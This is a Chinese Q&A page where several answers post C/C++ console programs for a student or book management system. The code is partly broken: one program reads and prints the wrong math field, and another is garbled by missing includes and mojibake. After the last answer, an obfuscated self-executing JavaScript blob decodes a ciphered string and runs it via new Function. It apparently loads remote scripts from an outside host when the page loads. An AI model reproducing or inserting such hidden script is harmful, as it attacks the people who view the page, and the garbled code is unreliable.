用C++设计一个简单的学生管理系统

2024-11-05 08:20:48
推荐回答(4个)
回答1:

#include
#include
#include
#define NULL 0

struct student{
char name[100];
char xuehao[100];
char gradeandclass[100];
int Mathnumber;
int Mathscore;
int Englishnumber;
int Englishscore;
int Politicsnumber;
int Politicsscore;
int Coursesnumber;
int Coursesscore;
};

int main()
{
FILE *fp;
char a;
fp = fopen( "学籍管理系统.txt", "ab+" );
if( fp == NULL )
{
printf( "打开文件失败!\n" );
exit(1);
}
while(1)
{
int i;
int j;
a='y';
printf( "---------------------欢迎使用学籍管理系统-------------------------\n" );
printf( "|*| 请进行选择 |*|\n" );
printf( "|*| 1.录入学生信息 |*|\n" );
printf( "|*| 2.显示学生信息 |*|\n" );
printf( "|*| 3.查找学生信息 |*|\n" );
printf( "|*| 4.清除学生信息 |*|\n" );
printf( "|*| 5.退出管理系统 |*|\n" );
printf( "------------------------------------------------------------------\n" );
printf( "请选择操作的序号:" );
scanf( "%d", &i );
switch(i)
{
case 1:
{
while(a=='y'){
struct student *p = ( student* ) malloc ( sizeof( struct student ) );

if( p == NULL )
{
printf( "内存分配失败!\n" );
exit(1);
}

printf( "姓名:" );
scanf( "%s", p->name );

printf( "学号:" );
scanf( "%s", p->xuehao );

printf( "班级:" );
scanf( "%s", p->gradeandclass );

printf( "《数 学》编号:" );
scanf( "%d", &p->Mathnumber );
printf( "《数 学》成绩:" );
scanf( "%d", &p->Mathnumber );
printf( "《英 语》编号:" );
scanf( "%d", &p->Englishnumber );
printf( "《英 语》成绩:" );
scanf( "%d", &p->Englishscore );
printf( "《政 治》编号:" );
scanf( "%d", &p->Politicsnumber );
printf( "《政 治》成绩:" );
scanf( "%d", &p->Politicsscore );
printf( "《专业课》编号:" );
scanf( "%d", &p->Coursesnumber );
printf( "《专业课》成绩:" );
scanf( "%d", &p->Coursesscore );

printf("如果继续输入学籍信息,请输入y否则输入n \n");
getchar();
a=getchar();
fwrite( p, sizeof( struct student ), 1, fp );
free(p);
p = NULL;
}
}
system( "pause" );
system( "cls" );
break;
case 2:
{
struct student *p = ( student* ) malloc ( sizeof( struct student ) );
if( p == NULL )
{
printf( "内存分配失败!\n" );
exit(1);
}
rewind(fp);
while( !feof(fp) )
{
if( fread( p, sizeof( struct student ), 1, fp ) )
{
printf( "*****************************************\n");
printf( "姓名:%s 学号:%s 班级:%s\n", p->name, p->xuehao, p->gradeandclass );
printf( "----课程名称----课程编号----课程成绩----\n" );
printf( " 数 学 %8d %8d\n", p->Mathnumber, p->Mathnumber );
printf( " 英 语 %8d %8d\n", p->Englishnumber, p->Englishscore );
printf( " 政 治 %8d %8d\n", p->Politicsnumber, p->Politicsscore );
printf( " 专业课 %8d %8d\n", p->Coursesnumber, p->Coursesscore );
printf( "*****************************************\n");
printf( " " );
}
}
free(p);
p = NULL;
}
system( "pause" );
system( "cls" );
break;
case 3:{
printf("----欢迎进入查找单元!!---------\n");
printf("------请选择查找方式:\n");
printf("1.按姓名 -- 2.按学号 -- 3.按班级 ");
scanf("%d",&j);
switch(j){
case(1):
{
char number1[20];
int m=0;
printf("输入查找学生的姓名:");
scanf("%s",number1);

struct student *p = ( student* ) malloc ( sizeof( struct student ) );
if(p==NULL){
printf("内存分配失败!\n");
exit(1);
}
rewind(fp);
while(!feof(fp)){
if( fread( p, sizeof( struct student ), 1, fp ) ){
if(strcmp( p->name, number1 ) == 0 ){
m++;
printf( "*****************************************\n");
printf( "姓名:%s 学号:%s 班级:%s\n", p->name, p->xuehao, p->gradeandclass );
printf( "----课程名称----课程编号----课程成绩----\n" );
printf( " 数 学 %8d %8d\n", p->Mathnumber, p->Mathnumber );
printf( " 英 语 %8d %8d\n", p->Englishnumber, p->Englishscore );
printf( " 政 治 %8d %8d\n", p->Politicsnumber, p->Politicsscore );
printf( " 专业课 %8d %8d\n", p->Coursesnumber, p->Coursesscore );
printf( "*****************************************\n");
printf( " " );
}//end if
}//end if
}//end while
if(!m){
printf("信息不存在!!");
}
}
system( "pause" );
system( "cls" );
break;

case(2):
{
char number[20];
int n = 0;
// int count=0;
printf( "输入查找的学生学号:" );
scanf( "%s", number );
struct student *p = ( student* ) malloc ( sizeof( struct student ) );
if( p == NULL )
{
printf( "内存分配失败!\n" );
exit(1);
}
rewind( fp );
while( !feof(fp) )
{

if( fread( p, sizeof( struct student ), 1, fp ) )
{
// printf("循环次数:%d\n n的值:%d\n 地址p的值%d\n",count,n,p);
if( strcmp( p->xuehao, number ) == 0 )
{
n++;
printf( "*****************************************\n");
printf( "姓名:%s 学号:%s 班级:%s\n", p->name, p->xuehao, p->gradeandclass );
printf( "----课程名称----课程编号----课程成绩----\n" );
printf( " 数 学 %8d %8d\n", p->Mathnumber, p->Mathnumber );
printf( " 英 语 %8d %8d\n", p->Englishnumber, p->Englishscore );
printf( " 政 治 %8d %8d\n", p->Politicsnumber, p->Politicsscore );
printf( " 专业课 %8d %8d\n", p->Coursesnumber, p->Coursesscore );
printf( "*****************************************\n");
printf( " " );
}
}

}
if(!n)
printf( "信息不存在!\n" );

}//end case(2 j)
system( "pause" );
system( "cls" );
break;

case(3):
{ char number2[20];
int k=0;
printf("输入查找的学生班级:");
scanf("%s",number2);
struct student *p = ( student* ) malloc ( sizeof( struct student ) );
if(p==NULL){
printf( "内存分配失败!\n" );
exit(1);
}
rewind(fp);
while(!feof(fp)){
if( fread(p,sizeof( struct student ),1,fp) ){
if( strcmp( p->gradeandclass , number2)==0){
k++;
printf( "*****************************************\n");
printf( "姓名:%s 学号:%s 班级:%s \n", p->name, p->xuehao, p->gradeandclass );
printf( "----课程名称----课程编号----课程成绩----\n" );
printf( " 数 学 %8d %8d\n", p->Mathnumber, p->Mathnumber );
printf( " 英 语 %8d %8d\n", p->Englishnumber, p->Englishscore );
printf( " 政 治 %8d %8d\n", p->Politicsnumber, p->Politicsscore );
printf( " 专业课 %8d %8d\n", p->Coursesnumber, p->Coursesscore );
printf( "*****************************************\n");
printf( " " );
}//end if
}//end if
}//end while
if(!k){
printf("信息不存在!!!\n");
}

}//end case(3 j)
system( "pause" );
system( "cls" );
break;
}//end switch(j)

}//end case(3) i

system( "pause" );
system( "cls" );
break;

case(4):
{
printf("1.确定删除 -- 2.返回 \n");
int b;
scanf("%d",&b);
switch(b){
case(1):
{
fp = fopen( "学籍管理系统.txt", "w+" );
// break;
system( "cls" );
}
case(2):
{
break;
}
} //end Switch(b)

}//end case(4)
break;

case 5:
exit(0);
break;
default:printf("输入无效!\n");
system( "pause" );
system( "cls" );
}
}
fclose(fp);
return 0;
}

你还需要什么内容看着加就可以了。。

回答2:

额。。。最近好多人要这个东东。。不明白是什么意思。。。我自己写了一个,你看看。。。
用C++ 的 模板写的。。。

不理解的地方咱继续交流。。。。

//book_class.h 代码如下:
#include
#include
#include
#include
#include
#include
using namespace std;

typedef struct book_class
{
string book_number;
string book_name;
string book_public_infor;
string book_type; //图书类型;
string book_pbulic_time;//出版时间;
}book;

class equal1
{
public:
string str;
equal1(string str1):str(str1)
{}
bool operator () (book & book1)
{
if(book1.book_name==str || book1.book_number==str || book1.book_public_infor==str || book1.book_type==str)
return true;
return false;

}
};

class book_manage
{
public:
list book_store_list;
public:
book_manage(){}
void sort();
void show();
void insert();
void erase();
void inquire();
void save(){};
void show(list::iterator itr);
friend bool operator < (const book &book1,const book &book2)
{
return book1.book_name }
friend ostream & operator << ( ostream &out,const book &book1)
{
out< < < return out;
}

};

//book_class.cpp 实现文件内容如下:
#include "book_class.h"
void book_manage::sort()
{
int number;
if(this->book_store_list.size()==0)
{
cout<<"no book in the store!"< return ;
}
loop: cout<<"input the information you want the book sort by:"< cout<<"you can input:"< cout<<"1:book_name"< cout<<"2:book_num"< cout<<"3:book_public_time."< cout< cin>>number;
cout<<" input the infor:"<
switch(number)
{
case 1:
this->book_store_list.sort();
cout<<"the information of book had been sort by book's name!"< break;
case 2:
break;
case 3:
break;
default:
cout<<"Ǹʲô"< goto loop;
}
cout<<" this is the new sort!"<
}

void book_manage::show()
{
if(this->book_store_list.size()==0)
cout<<"no book in the store!"< else
{
ostream_iterator os(cout," ");
copy(this->book_store_list.begin(),this->book_store_list.end(), os);
}
system("pause");
return ;
}
void book_manage::insert()
{
book_class book1;
cout<<"input the new book's information:"< cout<<"eg: 001 ߵѧ 2001-9-10 "< cin>>book1.book_number>>book1.book_name>>book1.book_public_infor>>book1.book_pbulic_time>>book1.book_type;
this->book_store_list.push_back(book1);
cout<<"insert successfully!"< system("pause");
}

void book_manage::erase()
{
string book_name;
cin>>book_name;
list::iterator itr=find_if(this->book_store_list.begin(),this->book_store_list.end(),equal1(book_name));
if(itr==this->book_store_list.end())
cout<<"can't find the book!"< else
this->book_store_list.erase(itr);
}

void book_manage::inquire()
{
string book_infor;
bool find_flag=false;
cin>>book_infor;

list::iterator itr=find_if(this->book_store_list.begin(),this->book_store_list.end(),equal1 (book_infor));
if(itr==this->book_store_list.end())
{
cout<<"can't find the information you want!"< return;
}
while(itr!=this->book_store_list.end())
{
this->show(itr);
++itr;
itr=find_if(itr,this->book_store_list.end(),equal1 (book_infor));
}
}

void book_manage::show(list::iterator itr)
{
cout<<"you may need it!"< cout<<(*itr).book_name<<" "<<(*itr).book_number<<" "
<<(*itr).book_pbulic_time<<" "<<(*itr).book_public_infor<<" "
<<(*itr).book_type<}

//main.cpp 主文件如下:
#include "book_class.h"

using namespace std;
int main()
{
//ifstream infile("book.txt");
// book_manage store(infile);
book_manage store;
loop: cout<<"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "< cout<<"\t welcome to sxl.book_manage 1.0"< cout<<"\t\tthe is the menu!"<
cout<<"\t\t1: show the information of book !"< cout<<"\t\t2: sort the book's information !"< cout<<"\t\t3: insert some book!"< cout<<"\t\t4: erase some book!"< cout<<"\t\t5: inquire book!"< cout<<"\t\t6: exit the system!"<
int chose;
cout<<"input your chose:";
cin>>chose;

switch(chose)
{
case 1:
system("cls");
store.show();
cout<<"press any key to continue!"< system("cls");
goto loop;
case 2:
system("cls");
store.sort();
store.show();
system("cls");
goto loop;
case 3:
store.insert();
store.show();
system("cls");
goto loop;
case 4:
cout<<"input the book's name or num you want to erase:";
store.erase();
store.show();
system("cls");
goto loop;
case 5:
cout<<" you may input the book's number,or book's name or book's pulbic_type:";
cout<<" input the book's infor:"< store.inquire();
system("pause");
system("cls");
goto loop;
case 6:
store.save();
return 0;
default:
cout<<" Ǹʲô?"< system("pause");
cout<<"press any key to chose again!"< system("cls");
goto loop;
}
return 0;
}
我的博客里边 有一些 关于 C 和C++ 的东东。。。你感兴趣的话看看吧。。呵呵。。祝你好运
http://hi.baidu.com/sx_liang/blog

回答3:

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "malloc.h"
typedef char ElemType;
#define OK 1
#define ERROR 0
#define OVER -1
typedef struct node
{
int number;
char name[20];
int chinese,math,english;
struct node *next;
} LinkList;
LinkList *InitList()
{
LinkList *H;
H=(LinkList *)malloc(sizeof(LinkList));
H->next=NULL;
return(H);
}
int Length_list(LinkList *H)
{
LinkList *p;
int j=0;
p=H;
while(p->next!=NULL)
{ p=p->next;
j++;
}
return j;
}
void CreateList(LinkList *H,int n)
{
int i;
LinkList *s,*last;
char ch;
last=H;
for(i=1;i<=n;i++)
{ s=(LinkList *)malloc(sizeof(LinkList));
printf("\n请输入第%d个学生的学号:",i);
scanf("%d",&s->number);
printf("\n请输入第%d个学生的姓名:",i);
scanf("%s",&s->name);
printf("\n请输入第%d个学生的语文、数学和英语成绩:",i);
scanf("%d%d%d",&s->chinese,&s->math,&s->english);
s->next=NULL;
last->next=s;
last=s;
}
}
LinkList *Locate(LinkList *H,int num)
{
LinkList *p;
p=H->next;
while(p!=NULL&&p->number!=num)
p=p->next;
return p;
}
LinkList *GetList(LinkList *H,int i)
{
LinkList *p;
int j=0;
p=H;
while(p->next!=NULL &&j{
p=p->next;
j++;
}
if(j==i)
return p;
else
return NULL;
}
int InsList(LinkList *p,LinkList x)
{
LinkList *s;
s=(LinkList *)malloc(sizeof(LinkList));
s->number=x.number;
strcpy(s->name,x.name);
s->chinese=x.chinese;
s->math=x.math;
s->english=x.english;
s->next=p->next;
p->next=s;
return OK;
}
int Ins_List(LinkList *H,int i,LinkList x)
{
LinkList *p;
p=GetList(H,i-1);
if(p!=NULL)
{
InsList(p,x);
return OK;
}
else
return ERROR;
}
int DelList(LinkList *p,LinkList *x)
{
LinkList *s;
s=p->next;
x->number=s->number;
strcpy(x->name,s->name);
x->chinese=s->chinese;
x->math=s->math;
x->english=s->english;
p->next=s->next;
free(s);
return OK;
}
int Del_List(LinkList *H,int i,LinkList *x)
{
LinkList *p;
p=GetList(H,i-1);
if(p!=NULL&&p->next!=NULL)
{
DelList(p,x);
return OK;
}
else
return ERROR;
}
out()
{
printf("\n*****************************************");
printf("\n请输入序号(0-4)选择要进行的操作:");
printf("\n0-------退出");
printf("\n1-------建立一个学生信息表");
printf("\n2-------插入一个学生信息");
printf("\n3-------删除一个学生信息");
printf("\n4-------查找一个学生是否在该学生信息表中");
printf("\n*****************************************\n");
}
void DisLinkList(LinkList *H)
{
LinkList *p;
printf("\n所有学生的信息如下:");
printf("\n 学号 姓名 语文 数学 英语\n");
p=H->next;
while(p!=NULL)
{
printf("%2d%10s%9d%9d%9d\n",p->number,p->name,p->chinese,p->math,p->english);
p=p->next;
}
}
void main()
{
LinkList *H,*p,*q,x;
int i,n,menux,flag,num;
//clrscr();
out();
H=InitList();
scanf("%d",&menux);
do{switch(menux)
{
case 0: exit(0); break;
case 1:
printf("\n请输入要生成学生信息表的元素各数:");
scanf("%d",&n);
CreateList(H,n);
printf("建立的学生信息表为:\n");
DisLinkList(H);
break;
case 2:
printf("\n请输入要插入的学生位置:");
scanf("%d",&i);
printf("\n请输入要插入的学生信息:");
printf("\n请输入学生的学号:");
scanf("%d",&x.number);
printf("\n请输入学生的姓名:");
scanf("%s",&x.name);
printf("\n请输入学生的语文 数学和英语成绩:");
scanf("%d%d%d",&x.chinese,&x.math,&x.english);
flag=Ins_List(H,i,x);
if(flag)
{
printf("\n插入后的学生信息表为:");
DisLinkList(H);
}
break;
case 3:
printf("请输入要删除的学生的位置:");
scanf("%d",&i);
flag=Del_List(H,i,&x);
if(flag)
{
printf("\n删除第%d个学生后,表中信息为:",i);
DisLinkList(H);
}
break;
case 4:
printf("\n请输入查找的学生学号:\n");
scanf("%d",&num);
if((q=Locate(H,num))!=NULL)
{
printf("\n在学生信息表中存在着学号为%d的学生!",num);
printf("\n学号 姓名 语文 数学 英语\n");
printf("%2d%10s%9d%9d%9d",q->number,q->name,q->chinese,q->math,q->english);
}
else
printf("\n在学生信息表中不存在着学号为%d的学生!",num);
break;
default:
printf("\n输入选项错误,请重新输入(0-4)!");
}
out();
scanf("%d",&menux);
}while(1);
}

回答4:

student.h
#include
class CHAIN{
public:
long num;
char name[30];
char sex;
int age;
CHAIN*link;
};
class STUDENT{
public:
STUDENT();
~STUDENT();
void add();
void amend();
void taxis();
void det();
void show();
void search();
private:
CHAIN*top;
};

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();